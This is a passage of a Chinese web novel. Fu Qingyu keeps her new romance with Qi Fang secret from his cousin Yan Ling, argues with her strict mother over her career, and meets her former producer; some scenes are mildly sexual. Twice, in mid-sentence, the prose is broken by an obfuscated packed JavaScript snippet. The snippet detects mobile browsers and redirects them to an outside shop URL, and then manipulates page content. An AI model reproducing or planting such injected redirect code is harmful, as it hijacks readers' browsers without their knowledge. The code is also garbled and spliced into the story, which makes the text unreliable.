“别操心?!小的时候,就是咱俩没管上,学业全耽误了。高三复读,我自己盯她一年,提了一百多分,这要是从小抓,咱孩子早就行了。”刘云岚转手给了他一巴掌,“五百多分的成绩,说不定还能捡个211,考研考博再往上奔奔。她倒好,不知道什么时候弄了个艺考,这能让人不生气。” 付建林也说不出别的来,两人工作忙,确实管不上孩子,都交给课外兴趣班和补习班了。他抚了下眼镜,“孩子有自己的想法,你也别太管着她。” “我管她什么了?成绩和工作,这都是大事。”刘云岚脾气急,说到这,越看付建林越来气,“饭碗,这是一辈子的大事!你是不是就等着你闺女嫁人,两手一撒,啥也不管了。” 付建林合上书,“我可没这样说过。结不结婚的,咱俩这些钱,还养不了她吗?你别管太多,孩子愿意干点什么就干点什么。” “那怎么能行?工作那也是一个人的面子。”刘云岚又给了付建林一巴掌,“用你在这装好人,装大尾巴狼。你有空少看点书,多给孩子想想。” 付建林举手投降,“好,我不说了,你按自己想的来。” 刘云岚转身,又皱起眉头,“电视上的节目,我都找一遍了,她肯定是失业了。她那工作,不做就不做了,叫人瞧不上还受气。让她去老李的公司,做个稳当工作,不好吗?” 付建林叹气:“你想好就好。” 刘云岚也有些发愁,“我就是没想好怎么说,等着两天先试探试探。你闺女翅膀硬了,说不听就离家出走,一待两三年不回来。” 付建林叹气:“我也想离家出走。” 刘云岚白他一眼,“你快滚着。” 祁放到家后给付轻屿发了几条消息,两人又再手机里聊了会。 祁放情窦初开,收不住心劲,付轻屿也让他带跑了,二十多岁的人,搁床上滚了好几圈。 付轻屿拿起手机,想着分享一下,点开颜泠的头像后,终于意识到一丝不对——她把颜泠的弟弟掰了。 36. 36 付轻屿从床上弹起来,搓了搓头发,真不知道怎么跟颜泠开口。 男朋友是谁都好说,偏偏是颜泠的表弟。这‘表弟’是从生物学角度论的,实际上,颜泠拿祁放当亲弟弟疼。 上学的时候,一到寒暑假,颜泠就和外婆去颜利玫家。付轻屿仔细回想,记得颜泠提过几次‘表弟’。付轻屿对家长里短的事向来不感兴趣,这都能想起几次,颜泠那时候肯定没少唠叨。 付轻屿认识祁放后的事,就更不用说了。颜泠一个领地意识极强的人,让祁放住家里了,好都摆明面上。 颜泠嘴上嫌弃,要是祁放有个啥事,她心里真着急。姐弟俩互掐互损,面上谁都不让谁,有事互相兜底。 况且祁放是独生子,他能接受,他家里…… 付轻屿想的头疼,急忙问祁放:你和颜泠说了吗? 祁放:没呢,他们都没在家,就我自己。 付轻屿松一口气,想想也是,颜泠前一秒知道,后一秒就得打电话过来。 付轻屿:你先别跟颜泠说,我明天过去找你们,再说这事。 祁放:好~ 付轻屿思来想去,以她对颜泠的了解,明天肯定会吵吵,主要是颜泠吵,祁放嘴也闲不住,别说房顶了,天都得捅个窟窿出来。 “哎。”付轻屿叹气,“想别的没用,都到这一步了,兵来将挡水来土掩。” 祁放:我想你了。 付轻屿:我想你想的头疼。 祁放:啊?你别这么想我啊,少想点没事。 祁放:是不是刚才冻得,冷风吹着了?要不,我去给你送点药吧。 付轻屿:你快安稳待着吧,我睡觉了。等我明天到了,再和颜泠说。 祁放:知道了。可恶可恶,男朋友就这待遇啊,连个晚安都没有啊,我咋这么可怜呢。 只看文字,就能想到祁放的小表情,和每个语气词后面拖着的小尾巴,付轻屿没忍住笑了下,又给他发:晚安晚安晚安,睡吧。 祁放:快睡觉,头疼别熬夜,明天早点来,想你啊。 祁放:还是晚点来吧,你多睡会。 祁放:头疼要多睡会,我想你,能忍住。 付轻屿又听他念叨了两分钟才睡觉。 睡着后,付轻屿做了个梦,梦到颜泠不赞成,祁放的家人也不同意,梦境很混乱,也很模糊,东一脚西一腿。梦到最后是祁放转身离开的背影,他说自己一时冲动,考虑不妥,现在想明白了,还是觉得不合适。 付轻屿睁开眼,目光无神盯着天花板,心里空落落的还有点疼。 放空半晌,付轻屿才拿起手机,点开就是祁放发的消息,从早上六点多现在,一个多小时,堆了十多条消息。 看完祁放的碎碎念,付轻屿缓过来不少,给他发了条消息,起床收拾自己。 付建林难得休班,做好早饭,配合刘云岚蹲守付轻屿。 听见房门锁转动的声音,刘云岚给付建林使了个眼色,急忙去厨房端饭。 “正好,吃饭吧。” 付轻屿一出房门,正听见付建林这句话,点头应下。 三人起床时间不同,很少坐在一起吃早饭。晚饭还有新闻联播的声音调节气氛,早饭纯粹是干吃,付建林和刘云岚偶尔提一嘴工作上的事。没有事,付轻屿全程不会开口。 今天要去北泉找颜泠,付轻屿说了嘴,跟两人报备一声。 “主持人的工作是不是不干了?” 话在嘴里打了几个转,刘云岚也想委婉地问,一开口,就这么说出来了。 付轻屿没想瞒着,也没打算全盘拖出,“上一份合同到期了,没续。” 刘云岚看向付建林,想让他接着问。 付建林眼神拒绝了。 三棍子打不出个响屁,刘云岚瞪他一眼,不指望这人。 刘云岚瞧了眼付轻屿,又问:“下份工作还没找好呢?” 付轻屿“嗯”了声。 刘云岚说:“北边那个云华公司发了不少招聘信息,你要不去看看。” 付轻屿停筷,“专业也不对口啊。我吃好了,先出去了。” 刘云岚脸色不太好看,也没继续说。付轻屿眼皮一撩,她就知道是几个意思,这才两句话就不愿意听了,一点也不让管。 付轻屿走后,刘云岚撂下筷子,火气冲着付建林烧,“长个嘴就知道吃,吃吃吃,自己吃吧。” 付建林看着一桌子早饭,无奈叹了口气,埋头苦吃。 不知道刘云岚是随口一提,还是想要插手她的工作。付轻屿心里琢磨,该回江城了,省得刘老师费心,两人都不痛快。 付轻屿下车,面前是栋三层小别墅。她看着手机定位,又看了看眼前的房子,还没等确认地址,先听见了颜泠的声音。 颜泠走出大门的瞬间,在付轻屿心里,祁放的形象塌了个角。 她心里勤工俭学,努力做兼职赚钱,坚强的小白花啊,家里好像不缺钱。 惊讶之余,付轻屿又替祁放开心,家境不错,学画画的压力就小一些。反过来想,祁放还蛮要强的,有上进心,很好。 颜泠一身睡衣,手里拎着垃圾,转头看见付轻屿,惊道:“你怎么没给我打电话?” “刚下车,还没来及跟你说。”付轻屿笑着说,“出街这么随意吗?” 颜泠拎着垃圾摆了两pose,“怎么样,是不是随随便便,时尚大片。” 付轻屿配合她鼓掌,“咱这时尚带着点臭味,要不然,还先把包袱丢了吧。” 颜泠一手挽过她,“家里待的不舒心了?” “还成。”付轻屿看着颜泠,话在嘴边,犹豫半晌也没说出口。 颜泠丢完垃圾,跟她大眼瞪小眼,“干啥啊?有话快说,你看的我心里发毛。” 付轻屿无奈笑了下,“不好开口。” 颜泠双手环胸,“难道,你终于意识到了,你爱我爱的要死。虽然我是铁直,不过,你要强制我的话,我也会屈服于你的,来吧。” “快得了吧。”付轻屿笑得不行,“我还强制你,就你那些家伙事,我还没等反应过来呢,先被绑成粽子了。” 颜泠说着,戏瘾还上来了,伸手在她身上一点,“哎?那些都是给臭男人用的,你这细皮嫩肉的,姐姐可舍不得。过来,快让姐姐瞧瞧,到底有什么心事?快快说来,要不然,姐姐可自己上手摸了。” “收收收。”付轻屿笑,“我这本来就说不出口,让你一搅和,更不知道从哪说了。” “泠泠,这位是?” 颜利玫简单扎了个丸子头,一身驼色大衣,搭配着灰色围巾和墨镜,看着也就二十来岁。 颜泠搂住付轻屿,“颜妈,没看出来这是谁吗?” “轻屿。”颜利玫走近两步,摘下墨镜,满眼欣赏,“比电视里还俊呢,总听颜泠念叨,今天可算见到了。先回家,这外面冷,回家说。” “阿姨好,”付轻屿紧张的,手心出了层汗,“打扰了。” “有什么打扰的,快回家说。”颜利玫瞧着付轻屿欢喜,“这么高呢。” “颜妈,你不是说今天有安排吗?怎么又回来了?”颜泠瞧了瞧路口,“祁叔呢?” 颜利玫:“计划有变,你祁叔在后面呢,墨迹。” 付轻屿心里抓狂,早知道就约在外面了,怎么就听了颜泠的鬼话,现在可好,恋爱没超二十四小时呢,家长都见到了。 颜泠拉着付轻屿往家走,“别愣着啊,快点,要冻死了。” 颜利玫笑着说:“轻屿,中午留下吃个饭,正好尝尝你祁叔手艺。” 付轻屿还没等拒绝,颜泠替她应下了。 颜利玫开门时,付轻屿回过神,手忙脚乱地给祁放发消息,“别乱说,看情况。” 时间紧,她也没空解释,消息刚发出去,就听见一声“妈”。 付轻屿抬头,隔着两人,正对上祁放的视线,给了他一个闭嘴的眼神。 颜利玫看他打扮的挺像回事,“你要出去?” 祁放退到旁边,给三人让出路,“没有啊,我听见外面有动静,过来看看。” 颜利玫招呼付轻屿看新调配的香水。 颜泠心里憋得慌,拉住付轻屿,想继续说刚才的事。 祁放被付轻屿警告后,识相地没说话,眼神在她身上来回打转,不知道琢磨啥呢。 付轻屿乱成一锅粥,只想挖个地洞钻进去算了。 颜利玫干脆将三人拉到自己的书房,说是书房,更像个实验室,一堆瓶瓶罐罐和仪器。 付轻屿心思不在香水上,左耳进右耳出,直到祁荣民回来,才打破这一局面。 四人变成五人,更乱了。付轻屿家冷清惯了,换到这样的氛围中,真有些不习惯。 祁荣民和颜利玫商量着中午吃什么,颜泠去楼上拿手机,祁放趁机勾了勾付轻屿的手指,小声说:“紧张了?” 付轻屿拍开他,“换你,你不紧张?” 祁放笑了下:“不能说啊?” “你疯了?”付轻屿踢他一脚,“当然不能说了。颜泠那边,我都没想好怎么说呢。你乖一点,别乱说话。” 祁放能理解,但听了这话,多少有点不开心,闷闷道:“有奖励吗?” 付轻屿没闲情跟他瞎扯,“没有。” 祁放不情愿的“嗯”了声,垂眸思索。 付轻屿转头看他,感觉自己语气太过。祁放已经很配合她了,奖励的话…… 付轻屿还没想好,脸颊被祁放飞快地亲了下。 她呼吸一滞,心头被猛地抓了把,急忙抬头看向远处的颜利玫和祁荣民,又看了眼楼梯,见没人察觉,这才猛吸一口气。 “哇,好刺激。”祁放凑在她身边小声地说,“奖励我自己拿,谁叫你说没有。” 付轻屿没什么威慑力地瞪他一眼。 “知道了,知道了。”祁放笑笑,见颜泠下楼,又往旁边撤开一步,拉开距离。 祁放嘴上应的好听,找个时机就得撩拨她一下。 付轻屿除了瞪他两眼,也想不出别的招。 颜泠越瞧两人越不对劲,特别是祁放,脸上挂着不值钱的傻笑,殷勤得不行,倒水、拿零食、洗水果,就差捏肩捶腿了。 颜泠瞧明白了,心里“啧”了声。 饭桌上,祁放收敛不少,只给付轻屿夹了一筷子菜。桌下,他的腿可没闲着,被付轻屿踩了脚,才肯老老实实吃饭。 颜利玫和祁荣民都爱说,对于孩子的事,也不多问,整个家里嘻嘻哈哈的。 饭后,颜泠把两人带到二楼,一转身,“说吧,什么时候开始的?” 祁放还没反应过来,付轻屿已经答了,“昨天。” “真的假的?”颜泠一脸崩溃,她家白菜就这么让猪拱了。 祁放拉住付轻屿的手,一本正经地说:“当然是真的。” 颜泠一把给他拍开,恶狠狠地盯着偷白菜的猪,“牵牵牵,谁让你牵了?” 祁放不服气,“我女朋友,我就牵。” “不是啊,”颜泠摇晃付轻屿,“你看上他了?你能看的上他?不是,你看上他什么了?就他?” 祁放“哎”了声,“你这说的,我是不是你弟?” 颜泠:“不是亲的。” 祁放:“……” 付轻屿被问懵了,“啊?这是重点吗?” “这不是重点吗?去年追你的人这么多,圈内圈外都有,你能看上他?”颜泠说着,疑惑地看了祁放一眼,这臭屁幼稚玩意到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966567|193406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底哪吸引人了? 当着祁放的面,付轻屿真做不到大夸特夸,“感觉对了。” 颜泠拉着付轻屿往房间走,转头对祁放说:“我俩有话说,你自己着去。” 啊?祁放看着颜泠,“那是我女朋友。” “一边玩去。” 祁放跟着两步,被‘哐’一声关在了门外面,“不是,你们说啥啊?有啥我不能听的啊?姐,你嘴下留情啊。付轻屿,出来还爱吗?” 颜泠挠挠头,“真的假的?” 付轻屿看她抓耳挠腮的样子,笑了笑,“真的。” 颜泠瘫倒床上,“妈呀,太诡异了。你真想好了?” 付轻屿坐下床边,“这话,你应该问祁放,我都跟他说了。” 颜泠摆摆手,她还是太了解祁放了,“他主意正着呢,能有啥想不好的。倒是你,我怕你想不好,难为自己。” 付轻屿松口气,跟她摊在床上,“我还怕你不同意呢。” 颜泠啧了声,“你俩谈恋爱,我有啥同不同意的,又不是咱三谈。” “你最后这句话说的真吓人,”付轻屿顿了下,“祁放不是这个圈子的。” 颜泠说:“现在是了。” 付轻屿掩面笑了下,“哎吆歪,你知道我不是这个意思。” 颜泠“嗷”了声,“他想好就行呗,这有啥。他就算明天要去变性,我也觉得OK。看开点,他愿意的事,你想这么多干啥。” 付轻屿笑着看他,“你是不是他姐?” 颜泠说:“我就算是他妈,他也爱啥样啥样。没危害社会,没伤害他人,还要怎样,都长成一个模子吗?” 付轻屿笑得不行,“我觉得,我得向你学习。” “我也觉得,省的你一天天这么别扭。”颜泠在床上拧了个滚,“不是啊!你到底看上他啥了?整天叽叽喳喳的,你也不嫌他烦。” 付轻屿叹气,“不烦,我还挺喜欢的,就吃这一口。” 颜泠皱眉咧嘴,“滚吧,恋爱的酸臭味,不要污染到我。” 付轻屿笑笑,坐起身。 “哎,”颜泠转头看着他,“先说好了,不管你俩啥样……” “咱俩永远都是烂韭菜不破捆。”付轻屿笑着说。 “这还差不过。”颜泠翻了个身,摆摆手,“去吧去吧,知道你坐不住了,快把这恋爱的酸臭味带走。” “姐姐大量。”付轻屿起身,“我先去看看他。” 颜泠哼了声,“颜妈和祁叔不上二楼,你俩要干坏事,也小声点。” “说啥呢,疯了。”付轻屿出来关好门。 祁放靠在栏杆前摆弄魔方,抬头看她,“还爱吗?” 付轻屿笑:“现在有点困,能睡一觉再爱吗?” 祁放一下子误会了,耳朵红得飞快,“没工具弄,我、我还没准备好呢。” 付轻屿就喜欢看他难为情的摸样,“你想得挺美,我是真困了,昨天没睡好。” 祁放放下魔方,把她拉到门口,“我房间,你去睡吧。”他指了指客厅沙发,“我就在这,有事你叫我。” 房间拉着窗帘,黑漆漆的,的确适合干点坏事。 付轻屿低头笑了下,一把将他拉进房间,抵到门上,吻了下去。祁放撞到门上,闷坑一声,被付轻屿吞了下去。 祁放高一点,被按着后勃颈勾下来,死死压在门上。 后勃颈的手忽轻忽重,配合着唇舌的节奏,让他喘不过气。祁放难受的吭叽两声,付轻屿就缓一些,让他吸到点氧气,再次掐断。 祁放还以为自己很会亲,结果像条濒死的鱼,抱着付轻屿苦苦挣扎。 付轻屿从他嘴上撤开,用气声笑着说:“惩罚。” 祁放脑子里砸开烟花,颤颤巍巍地吸了两口气,低头埋到她肩颈里,“要死了。” “整天要死要活的。”房间太黑,付轻屿看不好,试探着摸了摸他的头。 祁放缓了会,又开始作,从她肩颈往上亲,小声问:“能留印子吗?” 付轻屿拍他,“不能。” 祁放郁闷地嗯了声,开始发坏,付轻屿不让嘬,他就啄。 暗色里,付轻屿看不清他,只感觉软绵绵的唇到处乱蹭,让人摸不清轨迹,耳垂、下巴、颈窝……永远不知道下一秒要落到哪里,激起一阵酥麻。 付轻屿掰过他的头,“干嘛呢,跟个小狗一样乱蹭。” 祁放哼了声,学着她说:“惩罚。” 付轻屿笑笑,手指按了按他的嘴角,又摸了摸他的小獠牙,翻弄着舌头。她凑过去,叼了下舌尖,听祁放疼的“嘶”了声,“印子。” 祁放手指碰了碰舌尖,泪都笑出来,“疼。” 付轻屿手指往上抚,给他擦了擦泪,“受着。” “你睡觉吧,有事叫我。”祁放说着,去摸门锁。 付轻屿拉住他,“让我抱着大火炉睡吧。” 祁放手里摸着门锁,‘咔哒’一声锁上了。“这是奖励吗?” “这是睡觉,”付轻屿说,“先把灯打开吧,都看不清。” “不用,”祁放一把抱起付轻屿,“我的房间,我熟,经常抹黑走。” 付轻屿环住他肩颈,笑着问:“没收拾房间,不好意思让我看啊。” 祁放说:“才不是,我很爱干净的好吧,颜泠才不收拾房间呢。” 祁放抱着付轻屿摊在床上,又扯了扯被子。 两人挨得近,付轻屿总感觉侧腰被什么东西顶着。她反应了一下,才转头问祁放,“硬了?” “你别说了,快睡。” 真是年轻气盛啊,付轻屿笑着问:“你这怎么弄?” “你快别问了,一会就下去了。”祁放都要炸了,“别问别问别问。” 37. 37 “哪呢?”杨灿隔着手机展示自己的大嗓门,“晚上打球去啊。” 祁放拍拍手里的食盒,“没空,我在车上呢,去找付轻屿。五六天没见了,都怪科三,早知道年前就去练车了。” 杨灿急忙插话:“好,停,可以了,禁止投喂狗粮。不过,你俩真谈了?不是你幻想的吧?” “当然是真的!幻想个屁。” 杨灿疑惑,“就你,谈了会这么消停?朋友圈都没发,不应该啊,你看飞哥,头像都换成卡通小人了,一对的。” 祁放愤闷,“你个单身狗懂什么,我这是低调。” 杨灿咋呼,“我靠,人身攻击我,你个混蛋玩意,挂了挂了,懒得跟你说,呸。” 祁放听着电话挂断,心里叹气,他也不想低调啊,付轻屿不允许。 朋友圈不让发,祁放两眼一提溜,等会找付轻屿换头像。 “师傅,还要多久?” 司机师傅看了眼行程,“二十分钟吧,前面不堵的话,十来分钟。” 祁放应了声好,低头发消息:还得有一会,到了我给你打电话。 争执中夹杂了一声消息提示音,付轻屿瞟了眼消息,没回。 差不多一周时间,刘云岚试探性地发问,到着手安排付轻屿的工作,态度越发强硬,两人间的争执也越发激烈。 付轻屿将额前的头发捋到脑后,尽量平静地说:“我的工作,我自己会看着办,不需要你们操心,也不需要你们帮我做什么。 我有自己的安排,能养活自己,为什么非要我按照你们的想法走?我已经是一个成年人了,有自己的规划,不可以吗? 云华的工作,一个月五六千,每天坐办公桌,安稳,这是你们喜欢的生活,不是我想要的。” “你想要你想要!你想要什么!”刘云岚站起来,一脸气愤地看着她,“你自己学习,学得狗屁不通。你那五百多分,是我给你拽起来的! 你转头就搞了个什么艺考,你是翅膀硬了,说不回家就不回家,去当什么模特,赚到钱了,能耐了。 你自己看看你那些工作,有一个正经的吗?整天穿得人模人样,杵在那,让人使唤过来使唤过去,装疯卖傻充孙子,这就是你想要的!” 付轻屿没心情跟她谈什么职业规划,当然,刘云岚也没心情听。 付轻屿不吭声,刘云岚这火气就更大,强硬道:“就是从小没把你管下,长出一身臭毛病。工作我都给你打点好了,初九过去报道!” “对,就是从小没管下,高三前干什么去了。我野了十多年,你突然想起来有这么个人了,回头套个狗链子就想给栓死,你不觉得有点晚了吗?我是人,我活生生的一个人,我不是你阳台上的花,想怎么修就怎么修。”付轻屿看着刘云岚,真说出来,心里倒是平静了。 刘云岚一时哑火。 付轻屿笑了下,“成绩都是你拽起来的,复读那年我就没努力吗?我前十几年没努力吗?刘老师,很不幸的告诉你,你带了一辈子火箭班,可惜了,你的女儿就是这么不行,就是没给你考出六七百分的丰功伟绩。没办法,影响成绩的因素太多了,可能是我基因突变,没遗传到您二位的优秀基因。实在不行你们再生一个,领养一个也行,又不是养不起,养我没养好,下一个也该有经验了。” 刘云岚真气急了,甩手打过去,被付建林起身拦下。 付建林一直插不上话,被打了一巴掌倒是有机会开口了,“行了,都消消气,孩子大了……” 刘云岚瞪他,“你给我起来,用你在这搅和了。” 付建林无奈看向付轻屿,“你妈初心是好的,她……” 付轻屿没看他,“付医生,快回医院吧,为这种事请假,挺不应该的。” 付建林本来就嘴笨,被噎了两口,无奈抿了下嘴——行,都不让说话。 付轻屿拿起手机,“我明天回江城,工作的事不用你们费心,我自己有安排。” 关门声将三人隔绝开,付轻屿快步走向楼梯间,烦躁地撩了两把头发,一手撑墙做着深呼吸,试图让自己冷静下来。 一个人待了会,周围太过安静,付轻屿心里还是乱糟糟的。奇怪的是,吵架时说的话已经记不起来,只有一股难以消化的情绪在体内冲撞,无法消散。 付轻屿安静待着,什么都没想,任由自己放空。不知道过了多久,才被电话声拉回现实。 “我到啦,我到啦。你快下来吧,我带了好多卤味,上次吃饭的时候,你不是说我爸做的卤味好吃嘛,我这次怂恿他多做了些。而且,我还学了学,等学成了,我给你做,回江城也能吃到,我是不是太聪明了。” 祁放声音有些喘,应该是跑了一段。付轻屿擦了下眼泪,听他叽里咕噜地说,心也跟着落到实处,“嗯,我这就下来。” 祁放看着手机挂断的通话,“哎?声音不太对。” 付轻屿顺着楼梯往下走,情绪压下去了,只剩累。踏下去的每一步都好累,她想一头栽到床上睡觉,想抱着祁放一起睡。 单元门打开,付轻屿灌了一脸冷空气,下意识紧了紧衣服,道路两旁都没看到祁放。 “嘿!” 付轻屿吓一跳,转头就看见祁放一脸傻笑。 祁放笑容缓缓消失,抬手碰了碰她的眼尾,“哭过。怎么了?” “眼还挺尖的。”付轻屿笑了下,一头抵在他身上,“香香的,橘子的味道。” “今天没吃橘子,”祁放歪头看她,“是不是和家里吵架了?” 付轻屿说:“去开房吧,好困,想睡觉。” 祁放两眼瞪圆,听到开房两字,下意识打抖。 付轻屿笑了下,“睡素的。” “好啊。”祁放见她不想多说,也就没再问。 付轻屿简单洗漱后,瘫到床上。不一会,祁放关了灯,拱到付轻屿身边。 付轻屿抬手摸了下,“脸都没擦干。” “啊?”祁放伸手去擦,“干的,头发有点湿。” 付轻屿问:“不回家,行吗?” 祁放在她肩颈蹭了蹭,“嗯,已经跟家里说了。我说在杨灿家住一晚。” 付轻屿嗯了声,手指绕他的头发玩,半晌才开口,“上学的时候,家里对你的成绩有要求吗?” “没有啊,”祁放想了下,“我妈只有一个要求,放学后,不能跟陌生人跑。你敢信,我都高中了,她还是这句话,说什么,虽然你长大了,但是人贩子也成长了。” 付轻屿有些诧异,“不管你成绩吗?” 祁放仔细想了下,“我爸带我出去吃饭时,好像问过几次。别人问了,他不知道才问的。 ‘儿子,尝尝这道菜咋样?’我爸问的最多的一句话。他还挺爱做饭的,饭店都干成连锁了,他没事还爱往后厨钻。 ‘儿子,你老妈新调的香水,好闻吗?’我妈问的最多的一句话,一直问到了现在。” 付轻屿笑笑,“有点想象不到。” 因为工作跟家里吵架,翻了旧账,扯到上学时的成绩。祁放猜到付轻屿哭过的原因,也推测出她爸妈是比较严厉的人。 祁放用力抱了抱她,“你呢?” 付轻屿语气淡淡的,“我爸是医生,神龙见首不见尾,有的时候扎在医院三四天才回来一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966568|193406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还要出去研讨学习,很忙,也很少管我。我妈是老师。” “啊?”祁放震惊,“那她管你管得老严了?” “没有。”付轻屿呼噜他的头发,跟呼噜小狗一样,没忍住亲了一口,“从我记事起,我妈就带高中的火箭班,也很忙,不过她会问我的成绩。她挺厉害的,对自己要求高,对别人要求也高。 初中毕业前,有外婆给我打掩护,虽然要上辅导班,但是还好。高中的时候,成绩就逃不出她的手掌心了,但是她忙,有的时候还要飞各地竞赛,管不上我就只能寄托希望于辅导班。 可能,高考成绩出来,彻底给她砸懵了,复读那年,她就对我进行了魔鬼训练,吓人啊。” “吓人。”祁放点点头,小声问,“你跟她吵架了吗?” 付轻屿沉默片刻,“好了,回忆结束,睡觉了。” 祁放知道付轻屿不想跟他说,心里闷闷的,还是拍了拍怀里的人,“好,不想了,睡觉。” 祁放刚说完‘不想了’,付轻屿突然想起件事,转身去开床头灯,“快让我看看你。” 祁放有些不明所以,“啊?怎么突然要看我?” 泛黄的灯光映在两人身上。 付轻屿第一次仔细看他的眼睛,虹膜是褐色的,眼眶一周没红,没哭过。 祁放被她看得不好意思,往被子里缩,“怎么了?” 付轻屿摇头,“没事,我突然想起你最新完结的那个短篇漫画,有人说了很不好听的话,怕你躲在家哭鼻子。” 祁放从被子里窜出来,“你把我最新画的看完了?” 付轻屿点点头。 “原来你这么关注我啊。”祁放伸手环住她的腰,贴在人后背,“那你看到的比我早,你都没看到我的回复。” 付轻屿:“你还回复了?” “啊,太难受了。我能忍吗,他们人身攻击我,我全怼回去了,说得比颜泠还难听。” 付轻屿哭笑不得,“怼完不难受了?” “肯定还是有点难受的,但是还好,问题不大。”祁放转头看她,“我要是难受,你咋办?” 付轻屿低头,两人鼻尖近乎贴在一起,“应该就这么办吧。” 祁放没说话,把人勾在床上亲了会,亲完又给人抱住,“不对不对,应该是我安慰你的,被你带跑了。” 付轻屿被他抱了半天,心里烫热乎了,“你安慰啥,我又没事。” 祁放把人抱在怀里,轻轻拍着,嘟囔道:“还说没事呢,亲的都不带劲了。” 付轻屿又气又笑,在他腰上拧了两把,“你还要多带劲?” 祁放得了便宜还卖乖,“咱换个头像,一对的,行不?” 话题转得太快,付轻屿愣了下,才反应过来,“行,你找个喜欢的。” 祁放立刻想要拿手机,被付轻屿拦了下,“能换头像,但是有个事得先跟你说,我明天要回江城。” 祁放‘哐’一下躺回去,“不换了!” 付轻屿笑他,“不换,我也得回去。” “我说怎么突然开房睡觉,鸿门宴。”祁放将床头灯关上,自己躺到一边。 付轻屿笑着躺好,也不去管他,“有工作啊,我也舍不得你。” 祁放一听,又自己蛄蛹过去抱她,“行吧,你要走就走吧,我也留不住。” 付轻屿:“心留你这。” 祁放不接招,哼了声,“你就嘴上哄我。” 付轻屿笑着说:“我也能手上哄你,还能拿点小玩具哄你,你不是没准备好吗。” 祁放耳根子都烫出茧了,“睡觉睡觉睡觉,别说了。” 38. 38 付轻屿回到江城,先给家里的绿植浇水,又做了个大扫除,彻底收拾一遍。 年前等到年后,终于等到了奇亚抛橄榄枝,付轻屿跟品牌方线上对接完,约了个时间,线下试片。 之前没签奇亚,主要是因为他们家小太子爷沈则序,付轻屿不想跟他扯上关系,麻烦。 付轻屿瞧了眼沈则序发的私信,停留在四五个月前,再往上翻,全是他孔雀开屏的油腻消息。 一个花花公子哥,热情能维持半个月,也挺不容易了。付轻屿滑了两下消息,退出界面。 年底的时候,媒体报道沈则序已经订婚了,两家企业强强联合,这段婚姻八成是为了利益。 沈则序含着金汤勺出生,没到呼风唤雨的地步,也是样样不缺。由俭入奢易,由奢入俭难,当了二十年浪荡公子,浪子回头这事按在他头上,挺不现实的。 消息传出后,沈则序的各个社交平台安静了半个多月,花花公子没法四处开屏了,至少明面上不能做。 付轻屿签约奇亚,心里还是有点不踏实,但也没什么好顾虑的。 签约奇亚后,付轻屿跟何雨萌约了个饭,年前就说好的,好久没见了,叙叙旧。 何雨萌工作时雷厉风行,私下里怎么舒服怎么来,脱掉工作中唬人的气场,完全就是个萌妹子。 付轻屿订了家铜锅涮,坐在靠窗的位置,远远看到一块软乎乎的小蛋糕停下车,往店门口走。 付轻屿站起身等,何雨萌一进门,两人就对上了视线,都笑了下。 等何雨萌到了桌前,付轻屿才坐下,伸手招了下服务员,又笑着跟她说,“不是什么大饭店,味好,萌姐可别嫌弃这小馆子。” 何雨萌脱下外套,不忘挤兑她,“过年没少走亲戚啊,学了这些客套话回来。” “走亲戚走的头大。”付轻屿笑笑,“先点菜。” 何雨萌也不跟她客气,把想吃的点了个遍,“年后什么安排?” 付轻屿喝了口热水,不紧不慢地说:“我啊。手里还有个时尚红毯的主持,打算参加青峰卫视的主持人选拔。” 何雨萌点头,“青峰那边我也听到信儿了,他们上一个八点档的综艺撤掉了,想着重新组一个,全面换人。” “我还以为会留一两个老主持人,”付轻屿消息没有何雨萌灵通,又问,“四个老主持人全撤掉?” 何雨萌说:“辞退了一个,剩下的老主持人都塞到其他节目了。听他们的意思,做个全新的综艺。” 付轻屿点点头。 何雨萌叮嘱她,“好好准备,青峰卫视的收视率没掉过前三甲,这块肥肉,盯上的人可不少。” “让你说的,我都有压力了。”付轻屿笑,“你手里的项目怎么样?” 何雨萌叹气,“残灯末庙,救也没多大救了,耗人。” 服务员上好鸳鸯锅底,一半番茄,一半辣锅,热腾腾的白气在两人中间散开。 付轻屿听出些别的意思,笑着说:“该有点其他打算了。” 何雨萌“啧”了声,“你跟我肚子里的蛔虫一样。” 付轻屿玩笑,“你知道的,我还没出大学就跟了你,少说也有两年了。” 何雨萌将土豆片下到锅里,“我收你的时候,你都快大四毕业了。” “那也是没出大学呢,”付轻屿想起两人最开始做节目时,节目没名气,也没资金,条件是真苦,“知足了,最开始的凉盒饭,都要靠抢。” 何雨萌说:“知足。我想着合同结束后,八九月份吧,自己凑人做个综艺。” 付轻屿下着肉片,不忘抬头瞧她一眼,笑着说:“你这是知足吗?” 何雨萌点点头,“知足啊。知足完了,照样扑腾,人活着不就这样吗,没事也给自己找点事干。” 付轻屿摇头,“你是不是过年串亲戚腌入味了。这说话的,跟我外婆一样,看透凡尘了?” 何雨萌看着锅里咕嘟,“先把肉吃了,土豆熟没熟?” 付轻屿捞起一片土豆,用筷子戳了下,“熟了。” 何雨萌吃了一口肉,安静几秒,“我说真的。” 付轻屿看她,何雨萌眼神坚定,看来想得八九不离十了,“那就做。大概方向定下了吗?” 何雨萌埋头吃了一口,思索着,“我打算做两档节目,一个偏向人物专访,视频和音频都做。再有一个就是旅行治愈类的,具体还没太想好,没构建好雏形。” 